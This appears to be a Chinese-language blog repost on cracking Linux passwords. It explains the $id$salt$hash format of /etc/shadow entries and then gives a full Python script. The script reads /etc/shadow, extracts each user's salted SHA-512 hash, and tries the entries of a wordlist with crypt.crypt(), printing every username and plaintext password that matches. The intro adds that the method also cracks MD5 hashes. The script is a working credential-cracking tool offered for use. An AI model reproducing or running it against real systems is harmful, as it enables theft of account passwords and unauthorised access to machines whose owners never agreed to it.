下文是轉載的一篇SHA512破解,經測此法也可破解MD5。
另外破解速度取決於字典的好壞,可尋找比較優秀的字典。
https://blog.csdn.net/Key_book/article/details/80439243
linux密碼暴力破解
由於MD5加密已經發展了很多年,現在市面上已經積累了大量的MD5數據,這樣,MD5的安全性也就受到了威脅,所以,從centos6.x版本開始,系統密碼開始採用SHA-512加密,與MD5加密相比,SHA-512加密後長度更長,也就意味着SHA-512相比MD5更加安全.
密碼加密原理
在我們進行密碼破解前,我們首先需要了解linux系統密碼加密的原理:
1. 密文由3部分組成,以”$”分隔,第一部分爲ID,第二部分爲鹽值,第三部分爲加密密文
什麼是ID?
ID用來表示加密的方法.
如下圖,
1表示加密方法使用MD5,1表示加密方法使用MD5,6表示加密方法使用SHA-512
密文示例:
$6$D0xsORq3b7GGsbYv$7L8myKFcJf1FqnvtzD.Zcbx9PeHnwGH1YJm/xDeEKmABPIxzUC7mQmEiIEHoHypXeJ969Tfp4c47WQgjkT0YH0
$id$salt$encrypted
採用方法 鹽值 加密密文
——————————————
ID 加密方法
1 MD5
5 SHA-256
6 SHA-512
——————————————
什麼是鹽值(salt)?
鹽值就是使用隨機字符碼混合密碼加密算法所產生的密碼,作用就是即使是同一個密碼,使用同一種加密方式,所產生的密文值也不同
如上面提到的密文示例:
$6$D0xsORq3b7GGsbYv #這一段就是鹽值,在加密的時候連同前面的ID一起加密
1
什麼是密文?
這個我就不多介紹了,同上面的密文示例
7L8myKFcJf1FqnvtzD.Zcbx9PeHnwGH1YJm/xDeEKmABPIxzUC7mQmEiIEHoHypXeJ969Tfp4c47WQgjkT0YH0 #這一段就是密文了
1
瞭解了原理,我們就可以使用工具來進行密碼的暴力破解了
這裏採用是利用python進行破解.
需要用到python下的 crypt 這個庫,這個庫下的.crypt方法可以根據猜想的密碼原文和鹽值來生成加密後的完整密文.
簡單的講一下思路:
1.獲取到鹽值
2.將獲取的鹽值和猜想的密碼通過crypt.crypt()加密後生成的密文與系統中存儲的密文進行對比,如果密文相同,則輸出對應的用戶和密碼
環境準備:
1.python
2./root/Desktop/wordlist.TXT 存放着我們的密碼字典
3./etc/shadow 存放着系統的密碼
附上詳細代碼和註釋,有不明的白的可以留言.
#!/usr/bin/env python #指定這是一個python文件,使用這個解釋器執行
#-*- coding:utf-8 -*- #設定編碼格式,防止報錯
import crypt #調用crypt這個庫
user_passfile = "/etc/shadow" #獲取系統密碼路徑
zidian = "/root/Desktop/wordlist.TXT" #獲取字典路徑
#提取系統中的用戶名和密文
def get_pass(user_passfile):
used = {} #定義一個空字典
f=open(user_passfile,"r") #讀取系統密碼文件
userline = f.readlines() #將該文件轉換爲列表格式
f.close() #關閉文件
for i in userline: #遍歷列表裏的內容
if len(i.split(":")[1]) > 3: #以":"分割,取第二個元素的長度,也就是完整密文值的長度,如果大於3,我們認定它有密碼,把它取出來
used[i.split(":")[0]]=i.split(":")[1] #我們將取出的密文給了相應的用戶,這裏的used[i.split(":")[0]]是字典的key,也就是系統中的用戶名,後面的i.split(":")[1]是用戶名後的加密密文
return used #返回這個字典
#提取我們密碼字典裏的內容
def look_d(zidian):
f = open(zidian,'r') #讀取字典文件內容
mwlist = f.readlines() #將讀取的內容轉換爲列表
f.close() #關閉文件
return mwlist #返回這個列表
#根據密文是否相同判斷出對應的用戶和密碼
def main(user_passfile,zidian):
used = get_pass(user_passfile) #調用自定義函數get_pass
mingwen = look_d(zidian) #調用自定義函數look_d
for user in used:
passwd = used[user] #一次遍歷每個用戶的密文
salt = "$6$"+passwd.split("$")[2] #獲取鹽值
for passwdmw in mingwen: #遍歷系統中的每個完整密文
if passwd == crypt.crypt(passwdmw.rstrip(),salt): #如果我們猜想的密文與系統中的密文相同,輸入它的用戶名和密碼
print("userName:%s passWord:%s" %(user,passwdmw.rstrip()))
if __name__ == "__main__":
main(user_passfile,zidian)